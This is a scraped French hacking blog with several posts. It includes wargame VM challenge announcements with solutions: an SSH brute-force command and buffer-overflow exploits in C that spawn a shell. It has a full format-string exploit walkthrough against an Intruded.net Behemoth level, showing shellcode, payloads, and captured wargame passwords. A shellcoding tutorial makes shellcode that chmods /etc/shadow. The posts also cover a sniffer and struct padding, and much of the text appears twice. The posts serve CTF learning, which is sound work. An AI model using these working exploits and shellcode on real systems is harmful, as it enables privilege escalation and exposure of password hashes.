Bonsoir, voici enfin la seconde VM spéciale Zenk!
Vous êtes sensés l'utiliser en tant que black box, c'est à dire l'attaquer de l'extérieur, comme si vous n'y aviez pas accès physiquement.
La VM tourne sous VMWare.
http://www.megaupload.com/?d=4H5Q6RYB
Voila pour les infos:
[root@ZenkApp2 ~]# uname -r
2.6.32-ARCH
L'ASLR est activé, la pile est exécutable, les binaires sont compilés avec l'option -fno-stack-protector
Voici les instructions:
Serveur ssh port 22
- Login : user1
- Pass : user1
Level1
Objectif : Lire le fichier /home/user2/pass
Indice : http://www.milw0rm.com/papers/7
Level2
Objectif : Lire le fichier /home/user3/pass
Indice : http://crypto.stanford.edu/cs155old/cs155-spring08/papers/formatstring-1.2.pdf http://plasticsouptaste.blogspot.com/2010/03/format-string-par-lexemple.html (Han le mec qui se fait de la pub...) http://www-users.rwth-aachen.de/Tilo.Mueller/ASLRpaper.pdf
Level3
Objectif : Lire le fichier /home/user4/pass
Indice : http://www-users.rwth-aachen.de/Tilo.Mueller/ASLRpaper.pdf
Level4
Objectif : Lire le fichier /root/pass
Indice : http://www-users.rwth-aachen.de/Tilo.Mueller/ASLRpaper.pdf
Je rajouterais des indices si besoin est, n'hésitez pas à poser vos questions.
samedi 17 avril 2010
jeudi 8 avril 2010
VM Zenk Security [Applicative] N°1
Bonjour!
Comme certains d'entre vous le savent déjà, je fais partie de la communauté Zenk Security pour laquelle j'ai réalisé une petite VM de challenges applicatifs.
Rien de compliqué, c'est une Debian 3.1 basée sur un kernel 2.4.27.
Elle est disponible ici:
http://rapidshare.com/files/373125517/VMZenk_App1.7z
C'est une VM qui doit être attaquée de l'extérieur (comme si on avait pas d'accès physique à la machine).
Il y a un serveur ssh sur le port 22, et nous connaissons le nom d'un utilisateur: user1 .
Niveau 1
Objectif: Obtenir un accès user1 à la machine
Indice: Nous savons que c'est un mot de passe court composé de caractères seulement.
Niveau 2
Objectif: Obtenir un accès user2 à la machine
Indice: Aucun
Niveau 3
Objectif: Lire le fichier /root/yeah
Indice: Aucun
Et voici donc mes solutions (Attention spoiler:)
Level1:
Level2
Level3
Comme certains d'entre vous le savent déjà, je fais partie de la communauté Zenk Security pour laquelle j'ai réalisé une petite VM de challenges applicatifs.
Rien de compliqué, c'est une Debian 3.1 basée sur un kernel 2.4.27.
Elle est disponible ici:
http://rapidshare.com/files/373125517/VMZenk_App1.7z
C'est une VM qui doit être attaquée de l'extérieur (comme si on avait pas d'accès physique à la machine).
Il y a un serveur ssh sur le port 22, et nous connaissons le nom d'un utilisateur: user1 .
Niveau 1
Objectif: Obtenir un accès user1 à la machine
Indice: Nous savons que c'est un mot de passe court composé de caractères seulement.
Niveau 2
Objectif: Obtenir un accès user2 à la machine
Indice: Aucun
Niveau 3
Objectif: Lire le fichier /root/yeah
Indice: Aucun
Et voici donc mes solutions (Attention spoiler:)
Level1:
root@bt:/pentest/passwords/brutessh# ./brutessh.py -h 192.168.0.17 -u user1 -d ../wordlists/darkc0de.lst
Level2
#include <stdio.h>
#include <string.h>
int main(void)
{
int nbnop=109;
char shellcode[] =
"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";
//Adresses de retour possibles (call *%eax):
// 0x80483bf
// 0x8048523
char retA[]="\xbf\x83\x04\x08";
char data[500];
char sysc[600];
memset(data,0,(sizeof(char))*500);
memset(sysc,0,(sizeof(char))*600);
int i=0;
printf("Prepare sc..\n");
strncat(data,shellcode,500);
printf("Prepare nop..\n");
for(i=0;i<(nbnop);i++)
{
strncat(data,"\x90",500);
}
strncat(data,retA,500);
printf("Prepare new eip..\n");
strncpy(sysc,"/home/user1/1 ",600);
printf("Prepare data..\n");
strncat(sysc,data,500);
printf("Try..\n");
system(sysc);
}
#include <string.h>
int main(void)
{
int nbnop=109;
char shellcode[] =
"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";
//Adresses de retour possibles (call *%eax):
// 0x80483bf
// 0x8048523
char retA[]="\xbf\x83\x04\x08";
char data[500];
char sysc[600];
memset(data,0,(sizeof(char))*500);
memset(sysc,0,(sizeof(char))*600);
int i=0;
printf("Prepare sc..\n");
strncat(data,shellcode,500);
printf("Prepare nop..\n");
for(i=0;i<(nbnop);i++)
{
strncat(data,"\x90",500);
}
strncat(data,retA,500);
printf("Prepare new eip..\n");
strncpy(sysc,"/home/user1/1 ",600);
printf("Prepare data..\n");
strncat(sysc,data,500);
printf("Try..\n");
system(sysc);
}
Level3
#include <string.h>
#define FILE_TO_READ "/root/yeah"
int main(void)
{
char junkdata[600];
char sysc[700];
printf("Prepare junkdata..\n");
memset(junkdata,0,(sizeof(char))*600);
memset(junkdata,0x41,(sizeof(char))*520);
strncat(junkdata,FILE_TO_READ,600);
printf("Prepare filename..\n");
strncpy(sysc,"/home/user2/2 ",600);
strncat(sysc,junkdata,700);
printf("Try..\n");
system(sysc);
}
#define FILE_TO_READ "/root/yeah"
int main(void)
{
char junkdata[600];
char sysc[700];
printf("Prepare junkdata..\n");
memset(junkdata,0,(sizeof(char))*600);
memset(junkdata,0x41,(sizeof(char))*520);
strncat(junkdata,FILE_TO_READ,600);
printf("Prepare filename..\n");
strncpy(sysc,"/home/user2/2 ",600);
strncat(sysc,junkdata,700);
printf("Try..\n");
system(sysc);
}
vendredi 5 mars 2010
Format String par l'exemple
Behemoth level4 [Intruded.net]
behemoth.intruded.net : 10103
user : level4
pass : Shai#N9b
level4@behemoth:~$ cd /wargame/
level4@behemoth:/wargame$ ./level4
Identify yourself: 5m0k3
Welcome, 5m0k3
Voyons si un Bof est possible :
Non... Peut etre une format string?
Ok, regardons donc le binaire de plus près...
On va maintenant explorer un peu la stack pour savoir a partir de quel argument on retombe sur le buffer qu'on controle...
(Je vous invite a lire ceci si arrivé ici rien n'est clair pour vous : http://crypto.stanford.edu/cs155old/cs155-spring08/papers/formatstring-1.2.pdf)
On voit donc qu'on atteind notre buffer a partir du 8eme argument (car il contient nos %.08x ...)
Le but sera donc de réécrire un pointeur particulier, pointeur sur une fonction vers laquelle le programme sautera a un moment donné... Tant qu'a faire, autant que cette fonction soit la notre :p.
On décide ici de réécrire le pointeur .dtor => Destructeur de la fonction main(), qui qera logiquement exécuté a la fin du programme. Trouvons tout d'abord son adresse:
Donc il faudra écrire a l'adresse 0x08049598.
Pour faire simple, on va placer un shellcode dans le buffer et sauter dessus.
On va tout d'abord déterminer l'adresse de notre buffer a la sale, ensuite on vérifiera proprement:
donc on pose un breakpoint juste avant le ret de main()
Et on tombe direct sur notre buffer (rempli de 0x41='A') dont l'adresse est : 0xbffff940
Maintenant proprement (Logiquement, juste avant printf(nom), l'adresse de nom est posée sur la pile , donc esp contient un pointeur vers notre buffer):
Donc 0xbffff940 est bien l'adresse de notre buffer. Mais on doit lui ajouter 8, sinon on ne tombera pas au bon endroit, vous comprendrez pourquoi dans quelques linges : 0xbffff940+8=0xbffff948
C'est donc cette adresse que l'on va devoir écrire à 0x08049598 (__DTOR_END__)
Pour les format string, on écrit l'adresse en 2 temps. Le plus petit bloc en premier et le plus grand ensuite.
Notre exploit aura donc la forme:
(Pour rappel %n permet d'écrire le nombre de caractères déja affichés par printf à une adresse donéne en argument... On utilise ici %hn car on veut érire l'adresse en deux fois, on écrit donc 4 octets au lieu de 8. Référez vous au man printf() pour + d'infos)
On va utiliser le shellcode classique suivant:
Qui fait 23 de long.
Donc:
On affichera d'abord 49120 caractères
Puis 63816-49151= 14665 caractères
Vérifions ca sous gdb:
On pose un bp juste avant le ret de main()
On lance notre programme avec notre exploit en entrée (merci Ivan pour le trick)
on regarde ce qu'il y a dans .dorts:
Yeah :)
et maintenant on vérifie que 0xbffff948 pointe bien sur le début de notre shellcode:
C'est bien le cas.
On ajoute un cat a la fin pour ne pas perdre notre shell a cause de python....
Cela a l'air de fonctionner, sauf qu'on est sous gdb ;) donc pas de euid=level5
On quitte gdb et on test for real:
Snif...
Je pense que c'est du au fait qu'on est plus dans un environnement de debug. Donc il peut y avoir un petit décalage pour l'adresse de buffer.
Qu'a cela ne tienne, on va rajouter une dizaine de nops au début de notre shellcode...
Cependant notre chaine va grandir de 10, donc il faut en prendre compte!
Donc:
On affichera d'abord 49110 caractères
Puis 63816-49110= 14706 caractères
Crac boum.
behemoth.intruded.net : 10103
user : level4
pass : Shai#N9b
level4@behemoth:~$ cd /wargame/
level4@behemoth:/wargame$ ./level4
Identify yourself: 5m0k3
Welcome, 5m0k3
Voyons si un Bof est possible :
level4@behemoth:/wargame$ (python -c "print 'A'*512") | ./level4
[...]
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
level4@behemoth:/wargame$
[...]
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
level4@behemoth:/wargame$
Non... Peut etre une format string?
level4@behemoth:/wargame$ (python -c "print '%08x.%08x.%08x.%08x'") | ./level4
Identify yourself: Welcome, 000000c8.b7fe0300.b7eb634c.b7ebea1c
Identify yourself: Welcome, 000000c8.b7fe0300.b7eb634c.b7ebea1c
Ok, regardons donc le binaire de plus près...
level4@behemoth:/wargame$ gdb level4
0x080483f4 <main+0>: push %ebp
0x080483f5 <main+1>: mov %esp,%ebp
0x080483f7 <main+3>: sub $0xe8,%esp
0x080483fd <main+9>: and $0xfffffff0,%esp
0x08048400 <main+12>: mov $0x0,%eax
0x08048405 <main+17>: add $0xf,%eax
0x08048408 <main+20>: add $0xf,%eax
0x0804840b <main+23>: shr $0x4,%eax
0x0804840e <main+26>: shl $0x4,%eax
0x08048411 <main+29>: sub %eax,%esp
0x08048413 <main+31>: movl $0x3ed,(%esp)
0x0804841a <main+38>: call 0x80482ec <seteuid@plt>
; setuid(1005) : La il nous mache un peu le travail...
0x0804841f <main+43>: movl $0x8048568,(%esp)
0x08048426 <main+50>: call 0x804831c <printf@plt>
; printf("Identify yourself:")
0x0804842b <main+55>: mov 0x8049698,%eax
0x08048430 <main+60>: mov %eax,0x8(%esp)
0x08048434 <main+64>: movl $0xc8,0x4(%esp)
0x0804843c <main+72>: lea 0xffffff28(%ebp),%eax
0x08048442 <main+78>: mov %eax,(%esp)
0x08048445 <main+81>: call 0x80482fc <fgets@plt>
; fgets() pour saisir le nom
0x0804844a <main+86>: movl $0x804857c,(%esp)
0x08048451 <main+93>: call 0x804831c <printf@plt>
; printf("Welcome")
0x08048456 <main+98>: lea 0xffffff28(%ebp),%eax
0x0804845c <main+104>: mov %eax,(%esp)
0x0804845f <main+107>: call 0x804831c <printf@plt>
; printf(nom) <= Format String Vulnerability
0x08048464 <main+112>: mov $0x0,%eax
0x08048469 <main+117>: leave
0x0804846a <main+118>: ret
On va maintenant explorer un peu la stack pour savoir a partir de quel argument on retombe sur le buffer qu'on controle...
(Je vous invite a lire ceci si arrivé ici rien n'est clair pour vous : http://crypto.stanford.edu/cs155old/cs155-spring08/papers/formatstring-1.2.pdf)
level4@behemoth:/wargame$ (python -c "print '%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x'") | ./level4
Identify yourself: Welcome, 000000c8.b7fe0300.b7eb634c.b7ebea1c.b7ec3b6e.00000000.00000000.78383025.3830252e.30252e78
Identify yourself: Welcome, 000000c8.b7fe0300.b7eb634c.b7ebea1c.b7ec3b6e.00000000.00000000.78383025.3830252e.30252e78
On voit donc qu'on atteind notre buffer a partir du 8eme argument (car il contient nos %.08x ...)
Le but sera donc de réécrire un pointeur particulier, pointeur sur une fonction vers laquelle le programme sautera a un moment donné... Tant qu'a faire, autant que cette fonction soit la notre :p.
On décide ici de réécrire le pointeur .dtor => Destructeur de la fonction main(), qui qera logiquement exécuté a la fin du programme. Trouvons tout d'abord son adresse:
level4@behemoth:/wargame$ objdump -x level4|grep dtor
16 .dtors 00000008 08049594 08049594 00000594 2**2
08049594 l d .dtors 00000000 .dtors
08049594 l O .dtors 00000000 __DTOR_LIST__
08048390 l F .text 00000000 __do_global_dtors_aux
08049598 l O .dtors 00000000 __DTOR_END__ ================> ICI :)
16 .dtors 00000008 08049594 08049594 00000594 2**2
08049594 l d .dtors 00000000 .dtors
08049594 l O .dtors 00000000 __DTOR_LIST__
08048390 l F .text 00000000 __do_global_dtors_aux
08049598 l O .dtors 00000000 __DTOR_END__ ================> ICI :)
Donc il faudra écrire a l'adresse 0x08049598.
Pour faire simple, on va placer un shellcode dans le buffer et sauter dessus.
On va tout d'abord déterminer l'adresse de notre buffer a la sale, ensuite on vérifiera proprement:
level4@behemoth:/wargame$ gdb level4
(...)
(gdb) b *main +118
Breakpoint 1 at 0x804846a
(...)
(gdb) b *main +118
Breakpoint 1 at 0x804846a
donc on pose un breakpoint juste avant le ret de main()
(gdb) r
Starting program: /wargame/level4
Identify yourself: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Welcome, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x0804846a in main ()
(gdb) x/256x $esp-256
0xbffff91c: 0x08048464 0xbffff940 0x000000c8 0xb7fe0300
0xbffff92c: 0xb7eb634c 0xb7ebea1c 0xb7ec3b6e 0x00000000
0xbffff93c: 0x00000000 0x41414141 0x41414141 0x41414141
0xbffff94c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff95c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff96c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff97c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff98c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff99c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9ac: 0x41414141 0x41414141 0x00000a41 0x28000000
Starting program: /wargame/level4
Identify yourself: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Welcome, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x0804846a in main ()
(gdb) x/256x $esp-256
0xbffff91c: 0x08048464 0xbffff940 0x000000c8 0xb7fe0300
0xbffff92c: 0xb7eb634c 0xb7ebea1c 0xb7ec3b6e 0x00000000
0xbffff93c: 0x00000000 0x41414141 0x41414141 0x41414141
0xbffff94c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff95c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff96c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff97c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff98c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff99c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9ac: 0x41414141 0x41414141 0x00000a41 0x28000000
Et on tombe direct sur notre buffer (rempli de 0x41='A') dont l'adresse est : 0xbffff940
Maintenant proprement (Logiquement, juste avant printf(nom), l'adresse de nom est posée sur la pile , donc esp contient un pointeur vers notre buffer):
(gdb) d
Delete all breakpoints? (y or n) y
(gdb) b *main+107
Breakpoint 2 at 0x804845f
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /wargame/level4
Identify yourself: AAAA
Breakpoint 2, 0x0804845f in main ()
(gdb) x/x $esp
0xbffff920: 0xbffff940
(gdb) x/s 0xbffff940
0xbffff940: "AAAA\n"
Delete all breakpoints? (y or n) y
(gdb) b *main+107
Breakpoint 2 at 0x804845f
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /wargame/level4
Identify yourself: AAAA
Breakpoint 2, 0x0804845f in main ()
(gdb) x/x $esp
0xbffff920: 0xbffff940
(gdb) x/s 0xbffff940
0xbffff940: "AAAA\n"
Donc 0xbffff940 est bien l'adresse de notre buffer. Mais on doit lui ajouter 8, sinon on ne tombera pas au bon endroit, vous comprendrez pourquoi dans quelques linges : 0xbffff940+8=0xbffff948
C'est donc cette adresse que l'on va devoir écrire à 0x08049598 (__DTOR_END__)
Pour les format string, on écrit l'adresse en 2 temps. Le plus petit bloc en premier et le plus grand ensuite.
bfff = 49151 base 10
f948 = 63816 base 10
f948 = 63816 base 10
Notre exploit aura donc la forme:
(Pour rappel %n permet d'écrire le nombre de caractères déja affichés par printf à une adresse donéne en argument... On utilise ici %hn car on veut érire l'adresse en deux fois, on écrit donc 4 octets au lieu de 8. Référez vous au man printf() pour + d'infos)
[dtor+2][dtor][shellcode][%. (49151 -(8 + longueur shellode)) u%8$hn][%. (63816- (49151) u%8$hn]
On va utiliser le shellcode classique suivant:
"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"
Qui fait 23 de long.
Donc:
On affichera d'abord 49120 caractères
Puis 63816-49151= 14665 caractères
[\x9a\x95\x04\x08][\x98\x95\x04\x08][\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80][%.49120u%8$hn][%.14665u%8$hn]
Vérifions ca sous gdb:
level4@behemoth:/wargame$ gdb level4
On pose un bp juste avant le ret de main()
(gdb) b *main+118
Breakpoint 1 at 0x804846a
Breakpoint 1 at 0x804846a
On lance notre programme avec notre exploit en entrée (merci Ivan pour le trick)
(gdb) r < <(python -c "print '\x9a\x95\x04\x08' + '\x98\x95\x04\x08' + '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80' + '%.49120u%8\$hn'+'%.14665u%9\$hn'")
(..)000000000003086877440
Breakpoint 1, 0x0804846a in main ()
(..)000000000003086877440
Breakpoint 1, 0x0804846a in main ()
on regarde ce qu'il y a dans .dorts:
(gdb) x/x 0x08049598
0x8049598 <__DTOR_END__>: 0xbffff948
0x8049598 <__DTOR_END__>: 0xbffff948
Yeah :)
et maintenant on vérifie que 0xbffff948 pointe bien sur le début de notre shellcode:
(gdb) x/x 0xbffff948
0xbffff948: 0x99580b6a
0xbffff948: 0x99580b6a
C'est bien le cas.
On ajoute un cat a la fin pour ne pas perdre notre shell a cause de python....
(gdb) r < <(python -c "print '\x9a\x95\x04\x08' + '\x98\x95\x04\x08' + '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80' + '%.49120u%8\$hn'+'%.14665u%9\$hn'" ; cat)
(...)0003086877440
id
uid=1004(level4) gid=1004(level4) groups=1004(level4)
(...)0003086877440
id
uid=1004(level4) gid=1004(level4) groups=1004(level4)
Cela a l'air de fonctionner, sauf qu'on est sous gdb ;) donc pas de euid=level5
On quitte gdb et on test for real:
level4@behemoth:/wargame$ (python -c "print '\x9a\x95\x04\x08' + '\x98\x95\x04\x08' + '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80' + '%.49120u%8\$hn'+'%.14665u%9\$hn'" ; cat) | ./level4
(...)000003086877440
id
Illegal instruction
(...)000003086877440
id
Illegal instruction
Snif...
Je pense que c'est du au fait qu'on est plus dans un environnement de debug. Donc il peut y avoir un petit décalage pour l'adresse de buffer.
Qu'a cela ne tienne, on va rajouter une dizaine de nops au début de notre shellcode...
Cependant notre chaine va grandir de 10, donc il faut en prendre compte!
[dtor+2][dtor][shellcode][%. (49151 -(8 + longueur shellode +10nop)) u%8$hn][%. (63816- (49151) u%8$hn]
Donc:
On affichera d'abord 49110 caractères
Puis 63816-49110= 14706 caractères
(python -c "print '\x9a\x95\x04\x08' + '\x98\x95\x04\x08' + '\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90' '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80' + '%.49110u%8\$hn'+'%.14706u%9\$hn'" ; cat) | ./level4
(....)086877440
id
uid=1004(level4) gid=1004(level4) euid=1005(level5) groups=1004(level4)
cat /home/level5/.passwd
aeJ/a`z6
(....)086877440
id
uid=1004(level4) gid=1004(level4) euid=1005(level5) groups=1004(level4)
cat /home/level5/.passwd
aeJ/a`z6
Crac boum.
mardi 24 mars 2009
ShellCoding For Dummies
Aujourd'hui un petit cours de shellcoding (sous Linux).
Alors on va réaliser un petit shellcode qui effectue un "chmod 666 /etc/shadow".
Nous allons pour cela procéder par étapes:
1] Repérer le(s) appel(s) Système à utiliser.
Pour ca on va lire le fichier /usr/include/asm/unistd.h (ou regarder ici : unistd.h)
Voyons donc ce que nous renvoye un "cat /usr/include/asm/unistd.h |grep chmod":
sm0k3@localhost ~/Trash $ cat /usr/include/asm/unistd.h |grep chmod
#define __NR_chmod 15
#define __NR_fchmod 94
#define __NR_fchmodat 306
EDIT: Je vous conseille d'utiliser http://syscalls.kernelgrok.com/ au lieu de unistd.h, beaucoup plus pratique, vous en conviendrez!
On voit donc que l'identifiant de chmod est 15, notons bien ce chiffre.
2] Programmer notre Shellcode
3] Assembler & Linker tout ca
4] Notre Shellcode
On voit bien notre shellcode sur la partie gauche de l'image, pret a etre recopié :)
Et voila :) have fun!
Alors on va réaliser un petit shellcode qui effectue un "chmod 666 /etc/shadow".
Nous allons pour cela procéder par étapes:
1] Repérer le(s) appel(s) Système à utiliser.
Pour ca on va lire le fichier /usr/include/asm/unistd.h (ou regarder ici : unistd.h)
Voyons donc ce que nous renvoye un "cat /usr/include/asm/unistd.h |grep chmod":
sm0k3@localhost ~/Trash $ cat /usr/include/asm/unistd.h |grep chmod
#define __NR_chmod 15
#define __NR_fchmod 94
#define __NR_fchmodat 306
EDIT: Je vous conseille d'utiliser http://syscalls.kernelgrok.com/ au lieu de unistd.h, beaucoup plus pratique, vous en conviendrez!
On voit donc que l'identifiant de chmod est 15, notons bien ce chiffre.
2] Programmer notre Shellcode
xor %eax,%eax ; On met 0 dans eax
push %eax ; On dépose ce 0 sur la pile
mov $0xf,%al ; On met 0xf (15 quoi) dans al (partie basse de ax, lui meme partie basse de eax)
push $0x776f6461 ; On dépose "/etc/shadow" sur la pile
push $0x68732f63 ; Le 0 posé précedemment sert à terminer cette chaine
push $0x74652f2f ; (souvenez vous de \0 en C)
mov %esp,%ebx ; On stocke l'adresse de la chaine que l'on vient de poser sur la pile dans ebx
xor %ecx,%ecx ; On met 0 dans ecx
mov $0x1ff,%cx ; On met 0x1ff (777 en base octale) dans cx (partie basse de ecx)
int $0x80 ; On apelle l'interruption [donc chmod("/etc/shadow",777)] Note: 666 aurait suffit mais bon
inc %eax ; Comme chmod met 0 dans eax lorsqu'il réussi, on incrémente eax de 1 pour utiliser l'interruption exit
int $0x80 ; On apelle l'interruption
push %eax ; On dépose ce 0 sur la pile
mov $0xf,%al ; On met 0xf (15 quoi) dans al (partie basse de ax, lui meme partie basse de eax)
push $0x776f6461 ; On dépose "/etc/shadow" sur la pile
push $0x68732f63 ; Le 0 posé précedemment sert à terminer cette chaine
push $0x74652f2f ; (souvenez vous de \0 en C)
mov %esp,%ebx ; On stocke l'adresse de la chaine que l'on vient de poser sur la pile dans ebx
xor %ecx,%ecx ; On met 0 dans ecx
mov $0x1ff,%cx ; On met 0x1ff (777 en base octale) dans cx (partie basse de ecx)
int $0x80 ; On apelle l'interruption [donc chmod("/etc/shadow",777)] Note: 666 aurait suffit mais bon
inc %eax ; Comme chmod met 0 dans eax lorsqu'il réussi, on incrémente eax de 1 pour utiliser l'interruption exit
int $0x80 ; On apelle l'interruption
3] Assembler & Linker tout ca
$ as -o shellcode.o shellcode.asm
$ ld -o shellcode shellcode.o
$ ld -o shellcode shellcode.o
4] Notre Shellcode
On voit bien notre shellcode sur la partie gauche de l'image, pret a etre recopié :)
#include "stdio.h"
int main(int argc, char *argv[])
{
char shellcode[] ="\x31\xc0\x50\xb0\x0f\x68\x61\x64\x6f\x77\x68\x63\x2f\x73\x68\x68\x2f\x2f\x65\x74\x89\xe3\x31\xc9\x66\xb9\xff\x01\xcd\x80\x40\xcd\x80";
printf("Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}
int main(int argc, char *argv[])
{
char shellcode[] ="\x31\xc0\x50\xb0\x0f\x68\x61\x64\x6f\x77\x68\x63\x2f\x73\x68\x68\x2f\x2f\x65\x74\x89\xe3\x31\xc9\x66\xb9\xff\x01\xcd\x80\x40\xcd\x80";
printf("Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}
Et voila :) have fun!
vendredi 20 mars 2009
A {Very} Basic Sniffer
Hello, bon c'est vrai que ça fait longtemps que j'ai pas posté :p j'avoue que je travaille peu ces temps ci! Ci joint la source (un peu) commentée d'un sniffer Unix basique utilisant les librairies LibPcap et LibNet. Le dossier compressé comprend un projet Code::Blocks, n'oubliez pas d'ajouter -lpcap et -lnet dans les options de link si ce n'est pas déja fait. La suite suivra sous peu (ajout du support des filtres...). Cette version est vraiment un premier jet, c'est juste un exemple d'utilisation de la libPcap en somme.
Mod_Sniffer
:]
Mod_Sniffer
:]
lundi 19 janvier 2009
Data Structure Alignment
Spéciale pour Geo celle la :p.
Observons la source suivante:
Et voici la sortie obtenue ( Microsoft Visual C++ 2005 77915-009-0000007-41714 )
SOO? WTF? ben après quelques recherches :
Although the compiler (or interpreter) normally allocates individual data items on aligned boundaries, data structures often have members with different alignment requirements. To maintain proper alignment the translator normally inserts additional unnamed data members so that each member is properly aligned. In addition the data structure as a whole may be padded with a final unnamed member. This allows each member of an array of structures to be properly aligned.
Padding is only inserted when a structure member is followed by a member with a larger alignment requirement or at the end of the structure. By changing the ordering of members in a structure, it is possible to change the amount of padding required to maintain alignment. For example, if members are sorted by ascending or descending alignment requirements a minimal amount of padding is required. The minimal amount of padding required is always less than the largest alignment in the structure. Computing the maximum amount of padding required is more complicated, but is always less than the sum of the alignment requirements for all members minus twice the sum of the alignment requirements for the least aligned half of the structure members.
[...]
If the type "short" is stored in two bytes of memory then each member of the data structure depicted above would be 2-byte aligned. Data1 would be at offset 0, Data2 at offset 2 and Data3 at offset 4. The size of this structure would be 6 bytes.
The type of each member of the structure usually has a default alignment, meaning that it will, unless otherwise requested by the programmer, be aligned on a pre-determined boundary. The following typical alignments are valid for compilers from Microsoft, Borland, and GNU when compiling for x86:
* A char (one byte) will be 1-byte aligned.
* A short (two bytes) will be 2-byte aligned.
* An int (four bytes) will be 4-byte aligned.
* A float (four bytes) will be 4-byte aligned.
* A double (eight bytes) will be 8-byte aligned on Windows and 4-byte aligned on Linux.
Source: Wikipedia
Le mystère n'est donc plus, mais pourquoi ce padding??
Le compilateur aligne les structures en mémoire par rapport a l'architecture de la machine ( elles seront alignées sur 8 bits pour une architecture 32 bits) car l'adressage des variables se fait sur 32 bits et donc 4 octets. Les structures doivent donc toujours avoir une taille totalle qui soit un multiple de l'architecture (beurk c'est crade comme phrase). Cela est fait par le compilateur par soucis de performance.
On peut modifier la façon dont sera géré le Padding:
#pragma PACK()
Cependant, il est important de rester très prudent avec cette directive, car sa mauvaise utilisation peut entrainer une exception du type "Alignment Fault" et donc générer des cycles processeurs additionnels.
Connaitre la façon dont un compilateur gère le padding peut parfois être pratique, par exemple lors de l'exploitation de vulnérabilités du type débordement de tampons, cela nous permettra d'être moins approximatif.
Observons la source suivante:
- #include <stdio.h>
- #include <stdlib.h>
- int main()
- {
- typedef struct {
- short foo1; // 2 octets
- int foo2; // 4 octets
- } MaStructure;
- system("pause");
- return 0;
- }
Et voici la sortie obtenue ( Microsoft Visual C++ 2005 77915-009-0000007-41714 )
SOO? WTF? ben après quelques recherches :
Although the compiler (or interpreter) normally allocates individual data items on aligned boundaries, data structures often have members with different alignment requirements. To maintain proper alignment the translator normally inserts additional unnamed data members so that each member is properly aligned. In addition the data structure as a whole may be padded with a final unnamed member. This allows each member of an array of structures to be properly aligned.
Padding is only inserted when a structure member is followed by a member with a larger alignment requirement or at the end of the structure. By changing the ordering of members in a structure, it is possible to change the amount of padding required to maintain alignment. For example, if members are sorted by ascending or descending alignment requirements a minimal amount of padding is required. The minimal amount of padding required is always less than the largest alignment in the structure. Computing the maximum amount of padding required is more complicated, but is always less than the sum of the alignment requirements for all members minus twice the sum of the alignment requirements for the least aligned half of the structure members.
[...]
If the type "short" is stored in two bytes of memory then each member of the data structure depicted above would be 2-byte aligned. Data1 would be at offset 0, Data2 at offset 2 and Data3 at offset 4. The size of this structure would be 6 bytes.
The type of each member of the structure usually has a default alignment, meaning that it will, unless otherwise requested by the programmer, be aligned on a pre-determined boundary. The following typical alignments are valid for compilers from Microsoft, Borland, and GNU when compiling for x86:
* A char (one byte) will be 1-byte aligned.
* A short (two bytes) will be 2-byte aligned.
* An int (four bytes) will be 4-byte aligned.
* A float (four bytes) will be 4-byte aligned.
* A double (eight bytes) will be 8-byte aligned on Windows and 4-byte aligned on Linux.
Source: Wikipedia
Le mystère n'est donc plus, mais pourquoi ce padding??
